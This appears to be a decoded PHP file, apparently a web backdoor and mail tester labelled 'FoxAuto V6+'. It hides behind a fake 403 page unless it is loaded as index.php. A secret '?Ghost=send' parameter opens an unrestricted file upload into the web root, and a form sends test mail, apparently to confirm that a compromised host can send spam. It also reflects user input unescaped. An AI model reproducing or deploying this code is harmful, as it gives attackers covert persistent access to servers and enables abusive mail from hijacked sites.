PHP Decode

<?php
if($_SERVER["SCRIPT_NAME"] != "/index.php"){ header("HTTP/1.0 403 Forbidden");echo base64_decode("PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT40MDMgRm9yYmlkZGVuPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm9yYmlkZGVuPC9oMT4KPHA+WW91IGRvbid0IGhhdmUgcGVybWlzc2lvbiB0byBhY2Nlc3MgdGhpcyByZXNvdXJjZS48L3A+Cjxocj4KPC9ib2R5PjwvaHRtbD4=");die(); }
?>

<?php
error_reporting(0);

?>
Upload is <b><color>WORKING</color></b><br>
Check  Mailling ..<br>
<form method="post">
<input type="text" placeholder="E-Mail" name="email" value="<?php print $_POST['email']?>"required ><input type="text" placeholder="Order ID" name="orderid" value="<?php print $_POST['orderid']?>" ><br>
<input type="submit" value="Send test >>">
</form>
<br>
<?php
if ($_GET['Ghost'] =='send'){


$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if ( isset($_FILES["userfile"]) ) {
    echo "Upload ";
    if (move_uploaded_file
($_FILES["userfile"]["tmp_name"], $uploadfile))
echo $uploadfile;
    else echo "failed";
}


   echo "
<form name='uplform' method='post' action='?Ghost=send'
enctype='multipart/form-data'>
<p align='center'>
<input type='file' name='userfile'>
<input type='submit'>
</p>
";
}


if (!empty($_POST['email'])){
	if (!empty($_POST['email'])){
		$xx =$_POST['orderid'];
	}
	else{
		$xx = rand();
	
	}
	mail($_POST['email'],"Result Report Test - ".$xx,"WORKING ! FoxAuto V6+");
	print "<b>send an report to [".$_POST['email']."] - Order : $xx</b>"; 
}

?>